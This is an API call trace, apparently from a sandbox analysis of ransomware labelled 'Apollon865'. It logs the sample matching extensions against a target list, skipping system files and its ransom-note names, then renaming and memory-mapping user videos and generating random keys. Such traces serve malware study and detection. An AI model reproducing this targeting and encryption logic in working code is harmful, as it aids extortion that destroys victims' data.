	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="mas") returned 1
	[0086.797] lstrlenW (lpString="mav") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="mav") returned 1
	[0086.797] lstrlenW (lpString="maw") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="maw") returned 1
	[0086.797] lstrlenW (lpString="mdbhtml") returned 7
	[0086.797] lstrcmpiW (lpString1="ply.mp4", lpString2="mdbhtml") returned 1
	[0086.798] lstrlenW (lpString="mdn") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mdn") returned 1
	[0086.798] lstrlenW (lpString="mdt") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mdt") returned 1
	[0086.798] lstrlenW (lpString="mfd") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mfd") returned 1
	[0086.798] lstrlenW (lpString="mpd") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mpd") returned -1
	[0086.798] lstrlenW (lpString="mrg") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mrg") returned -1
	[0086.798] lstrlenW (lpString="mud") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mud") returned -1
	[0086.798] lstrlenW (lpString="mwb") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="mwb") returned -1
	[0086.798] lstrlenW (lpString="myd") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="myd") returned -1
	[0086.798] lstrlenW (lpString="ndf") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="ndf") returned -1
	[0086.798] lstrlenW (lpString="nnt") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="nnt") returned -1
	[0086.798] lstrlenW (lpString="nrmlib") returned 6
	[0086.798] lstrcmpiW (lpString1="ly.mp4", lpString2="nrmlib") returned -1
	[0086.798] lstrlenW (lpString="ns2") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="ns2") returned -1
	[0086.798] lstrlenW (lpString="ns3") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="ns3") returned -1
	[0086.798] lstrlenW (lpString="ns4") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="ns4") returned -1
	[0086.798] lstrlenW (lpString="nsf") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="nsf") returned -1
	[0086.798] lstrlenW (lpString="nv") returned 2
	[0086.798] lstrcmpiW (lpString1="p4", lpString2="nv") returned 1
	[0086.798] lstrlenW (lpString="nv2") returned 3
	[0086.798] lstrcmpiW (lpString1="mp4", lpString2="nv2") returned -1
	[0086.798] lstrlenW (lpString="nwdb") returned 4
	[0086.799] lstrcmpiW (lpString1=".mp4", lpString2="nwdb") returned -1
	[0086.799] lstrlenW (lpString="nyf") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="nyf") returned -1
	[0086.799] lstrlenW (lpString="odb") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.799] lstrlenW (lpString="odb") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.799] lstrlenW (lpString="oqy") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="oqy") returned -1
	[0086.799] lstrlenW (lpString="ora") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="ora") returned -1
	[0086.799] lstrlenW (lpString="orx") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="orx") returned -1
	[0086.799] lstrlenW (lpString="owc") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="owc") returned -1
	[0086.799] lstrlenW (lpString="p96") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="p96") returned -1
	[0086.799] lstrlenW (lpString="p97") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="p97") returned -1
	[0086.799] lstrlenW (lpString="pan") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="pan") returned -1
	[0086.799] lstrlenW (lpString="pdb") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="pdb") returned -1
	[0086.799] lstrlenW (lpString="pdm") returned 3
	[0086.799] lstrcmpiW (lpString1="mp4", lpString2="pdm") returned -1
	[0086.799] lstrlenW (lpString="pnz") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="pnz") returned -1
	[0086.800] lstrlenW (lpString="qry") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="qry") returned -1
	[0086.800] lstrlenW (lpString="qvd") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="qvd") returned -1
	[0086.800] lstrlenW (lpString="rbf") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="rbf") returned -1
	[0086.800] lstrlenW (lpString="rctd") returned 4
	[0086.800] lstrcmpiW (lpString1=".mp4", lpString2="rctd") returned -1
	[0086.800] lstrlenW (lpString="rod") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="rod") returned -1
	[0086.800] lstrlenW (lpString="rodx") returned 4
	[0086.800] lstrcmpiW (lpString1=".mp4", lpString2="rodx") returned -1
	[0086.800] lstrlenW (lpString="rpd") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="rpd") returned -1
	[0086.800] lstrlenW (lpString="rsd") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="rsd") returned -1
	[0086.800] lstrlenW (lpString="sas7bdat") returned 8
	[0086.800] lstrcmpiW (lpString1="Pply.mp4", lpString2="sas7bdat") returned -1
	[0086.800] lstrlenW (lpString="sbf") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="sbf") returned -1
	[0086.800] lstrlenW (lpString="scx") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="scx") returned -1
	[0086.800] lstrlenW (lpString="sdb") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="sdb") returned -1
	[0086.800] lstrlenW (lpString="sdc") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="sdc") returned -1
	[0086.800] lstrlenW (lpString="sdf") returned 3
	[0086.800] lstrcmpiW (lpString1="mp4", lpString2="sdf") returned -1
	[0086.800] lstrlenW (lpString="sis") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="sis") returned -1
	[0086.801] lstrlenW (lpString="spq") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="spq") returned -1
	[0086.801] lstrlenW (lpString="te") returned 2
	[0086.801] lstrcmpiW (lpString1="p4", lpString2="te") returned -1
	[0086.801] lstrlenW (lpString="teacher") returned 7
	[0086.801] lstrcmpiW (lpString1="ply.mp4", lpString2="teacher") returned -1
	[0086.801] lstrlenW (lpString="tmd") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="tmd") returned -1
	[0086.801] lstrlenW (lpString="tps") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="tps") returned -1
	[0086.801] lstrlenW (lpString="trc") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.801] lstrlenW (lpString="trc") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.801] lstrlenW (lpString="trm") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="trm") returned -1
	[0086.801] lstrlenW (lpString="udb") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="udb") returned -1
	[0086.801] lstrlenW (lpString="udl") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="udl") returned -1
	[0086.801] lstrlenW (lpString="usr") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="usr") returned -1
	[0086.801] lstrlenW (lpString="v12") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="v12") returned -1
	[0086.801] lstrlenW (lpString="vis") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="vis") returned -1
	[0086.801] lstrlenW (lpString="vpd") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="vpd") returned -1
	[0086.801] lstrlenW (lpString="vvv") returned 3
	[0086.801] lstrcmpiW (lpString1="mp4", lpString2="vvv") returned -1
	[0086.802] lstrlenW (lpString="wdb") returned 3
	[0086.802] lstrcmpiW (lpString1="mp4", lpString2="wdb") returned -1
	[0086.802] lstrlenW (lpString="wmdb") returned 4
	[0086.802] lstrcmpiW (lpString1=".mp4", lpString2="wmdb") returned -1
	[0086.802] lstrlenW (lpString="wrk") returned 3
	[0086.802] lstrcmpiW (lpString1="mp4", lpString2="wrk") returned -1
	[0086.802] lstrlenW (lpString="xdb") returned 3
	[0086.802] lstrcmpiW (lpString1="mp4", lpString2="xdb") returned -1
	[0086.802] lstrlenW (lpString="xld") returned 3
	[0086.802] lstrcmpiW (lpString1="mp4", lpString2="xld") returned -1
	[0086.802] lstrlenW (lpString="xmlff") returned 5
	[0086.802] lstrcmpiW (lpString1="y.mp4", lpString2="xmlff") returned 1
	[0086.802] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\kg4BkPply.mp4.Apollon865") returned 67
	[0086.802] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\kg4BkPply.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\kg4bkpply.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\kg4BkPply.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\kg4bkpply.mp4.apollon865"), dwFlags=0x1) returned 1
	[0086.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\kg4BkPply.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\kg4bkpply.mp4.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.803] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=7809) returned 1
	[0086.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.804] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.805] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.805] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.805] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2190, lpName=0x0) returned 0x15c
	[0086.805] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2190) returned 0x100000
	[0086.809] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.810] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.810] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="..") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="windows") returned -1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="bootmgr") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="temp") returned -1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="pagefile.sys") returned -1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="boot") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="ids.txt") returned 1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="ntuser.dat") returned -1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="perflogs") returned -1
	[0086.815] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2="MSBuild") returned -1
	[0086.815] lstrlenW (lpString="KHIT0JHvy.mkv") returned 13
	[0086.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\kg4BkPply.mp4") returned 56
	[0086.815] lstrcpyW (in: lpString1=0x119e65e, lpString2="KHIT0JHvy.mkv" | out: lpString1="KHIT0JHvy.mkv") returned="KHIT0JHvy.mkv"
	[0086.815] lstrlenW (lpString="KHIT0JHvy.mkv") returned 13
	[0086.815] lstrlenW (lpString="Apollon865") returned 10
	[0086.816] lstrcmpiW (lpString1="T0JHvy.mkv", lpString2="Apollon865") returned 1
	[0086.816] lstrlenW (lpString=".dll") returned 4
	[0086.816] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".dll") returned 1
	[0086.816] lstrlenW (lpString=".lnk") returned 4
	[0086.816] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".lnk") returned 1
	[0086.816] lstrlenW (lpString=".ini") returned 4
	[0086.816] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".ini") returned 1
	[0086.816] lstrlenW (lpString=".sys") returned 4
	[0086.816] lstrcmpiW (lpString1="KHIT0JHvy.mkv", lpString2=".sys") returned 1
	[0086.816] lstrlenW (lpString="KHIT0JHvy.mkv") returned 13
	[0086.816] lstrlenW (lpString="bak") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.816] lstrlenW (lpString="ba_") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.816] lstrlenW (lpString="dbb") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.816] lstrlenW (lpString="vmdk") returned 4
	[0086.816] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.816] lstrlenW (lpString="rar") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.816] lstrlenW (lpString="zip") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.816] lstrlenW (lpString="tgz") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.816] lstrlenW (lpString="vbox") returned 4
	[0086.816] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.816] lstrlenW (lpString="vdi") returned 3
	[0086.816] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.816] lstrlenW (lpString="vhd") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.817] lstrlenW (lpString="vhdx") returned 4
	[0086.817] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.817] lstrlenW (lpString="avhd") returned 4
	[0086.817] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.817] lstrlenW (lpString="db") returned 2
	[0086.817] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.817] lstrlenW (lpString="db2") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.817] lstrlenW (lpString="db3") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.817] lstrlenW (lpString="dbf") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.817] lstrlenW (lpString="mdf") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.817] lstrlenW (lpString="mdb") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.817] lstrlenW (lpString="sql") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.817] lstrlenW (lpString="sqlite") returned 6
	[0086.817] lstrcmpiW (lpString1="vy.mkv", lpString2="sqlite") returned 1
	[0086.817] lstrlenW (lpString="sqlite3") returned 7
	[0086.817] lstrcmpiW (lpString1="Hvy.mkv", lpString2="sqlite3") returned -1
	[0086.817] lstrlenW (lpString="sqlitedb") returned 8
	[0086.817] lstrcmpiW (lpString1="JHvy.mkv", lpString2="sqlitedb") returned -1
	[0086.817] lstrlenW (lpString="xml") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.817] lstrlenW (lpString="$er") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.817] lstrlenW (lpString="4dd") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.817] lstrlenW (lpString="4dl") returned 3
	[0086.817] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.817] lstrlenW (lpString="^^^") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.818] lstrlenW (lpString="abs") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.818] lstrlenW (lpString="abx") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.818] lstrlenW (lpString="accdb") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accdb") returned 1
	[0086.818] lstrlenW (lpString="accdc") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accdc") returned 1
	[0086.818] lstrlenW (lpString="accde") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accde") returned 1
	[0086.818] lstrlenW (lpString="accdr") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accdr") returned 1
	[0086.818] lstrlenW (lpString="accdt") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accdt") returned 1
	[0086.818] lstrlenW (lpString="accdw") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accdw") returned 1
	[0086.818] lstrlenW (lpString="accft") returned 5
	[0086.818] lstrcmpiW (lpString1="y.mkv", lpString2="accft") returned 1
	[0086.818] lstrlenW (lpString="adb") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.818] lstrlenW (lpString="adb") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.818] lstrlenW (lpString="ade") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.818] lstrlenW (lpString="adf") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.818] lstrlenW (lpString="adn") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.818] lstrlenW (lpString="adp") returned 3
	[0086.818] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.818] lstrlenW (lpString="alf") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.819] lstrlenW (lpString="ask") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.819] lstrlenW (lpString="btr") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.819] lstrlenW (lpString="cat") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.819] lstrlenW (lpString="cdb") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.819] lstrlenW (lpString="ckp") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.819] lstrlenW (lpString="cma") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.819] lstrlenW (lpString="cpd") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.819] lstrlenW (lpString="dacpac") returned 6
	[0086.819] lstrcmpiW (lpString1="vy.mkv", lpString2="dacpac") returned 1
	[0086.819] lstrlenW (lpString="dad") returned 3
	[0086.819] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.819] lstrlenW (lpString="dadiagrams") returned 10
	[0086.819] lstrcmpiW (lpString1="T0JHvy.mkv", lpString2="dadiagrams") returned 1
	[0086.819] lstrlenW (lpString="daschema") returned 8
	[0086.819] lstrcmpiW (lpString1="JHvy.mkv", lpString2="daschema") returned 1
	[0086.819] lstrlenW (lpString="db-journal") returned 10
	[0086.819] lstrcmpiW (lpString1="T0JHvy.mkv", lpString2="db-journal") returned 1
	[0086.819] lstrlenW (lpString="db-shm") returned 6
	[0086.819] lstrcmpiW (lpString1="vy.mkv", lpString2="db-shm") returned 1
	[0086.819] lstrlenW (lpString="db-wal") returned 6
	[0086.819] lstrcmpiW (lpString1="vy.mkv", lpString2="db-wal") returned 1
	[0086.820] lstrlenW (lpString="dbc") returned 3
	[0086.820] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.820] lstrlenW (lpString="dbs") returned 3
	[0086.820] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.820] lstrlenW (lpString="dbt") returned 3
	[0086.820] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.820] lstrlenW (lpString="dbv") returned 3
	[0086.820] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.820] lstrlenW (lpString="dbx") returned 3
	[0086.820] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.820] lstrlenW (lpString="dcb") returned 3
	[0086.820] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.820] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\KHIT0JHvy.mkv.Apollon865") returned 67
	[0086.820] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\KHIT0JHvy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\khit0jhvy.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\KHIT0JHvy.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\khit0jhvy.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\KHIT0JHvy.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\khit0jhvy.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.822] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=60678) returned 1
	[0086.822] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.823] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.823] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.823] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf010, lpName=0x0) returned 0x15c
	[0086.824] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf010) returned 0x100000
	[0086.827] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.827] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.827] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.830] lstrcpyW (in: lpString1=0x119e65e, lpString2="XtiKqp9gHs3RY.avi" | out: lpString1="XtiKqp9gHs3RY.avi") returned="XtiKqp9gHs3RY.avi"
	[0086.830] lstrlenW (lpString="XtiKqp9gHs3RY.avi") returned 17
	[0086.831] lstrlenW (lpString="Apollon865") returned 10
	[0086.831] lstrcmpiW (lpString1="gHs3RY.avi", lpString2="Apollon865") returned 1
	[0086.831] lstrlenW (lpString=".dll") returned 4
	[0086.831] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".dll") returned 1
	[0086.831] lstrlenW (lpString=".lnk") returned 4
	[0086.831] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".lnk") returned 1
	[0086.831] lstrlenW (lpString=".ini") returned 4
	[0086.831] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".ini") returned 1
	[0086.831] lstrlenW (lpString=".sys") returned 4
	[0086.831] lstrcmpiW (lpString1="XtiKqp9gHs3RY.avi", lpString2=".sys") returned 1
	[0086.831] lstrlenW (lpString="XtiKqp9gHs3RY.avi") returned 17
	[0086.831] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\XtiKqp9gHs3RY.avi.Apollon865") returned 71
	[0086.831] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\XtiKqp9gHs3RY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\xtikqp9ghs3ry.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\XtiKqp9gHs3RY.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\xtikqp9ghs3ry.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\XtiKqp9gHs3RY.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\xtikqp9ghs3ry.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.833] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=20569) returned 1
	[0086.833] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.834] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.834] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.834] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5360, lpName=0x0) returned 0x15c
	[0086.834] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5360) returned 0x100000
	[0086.835] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.836] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.836] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
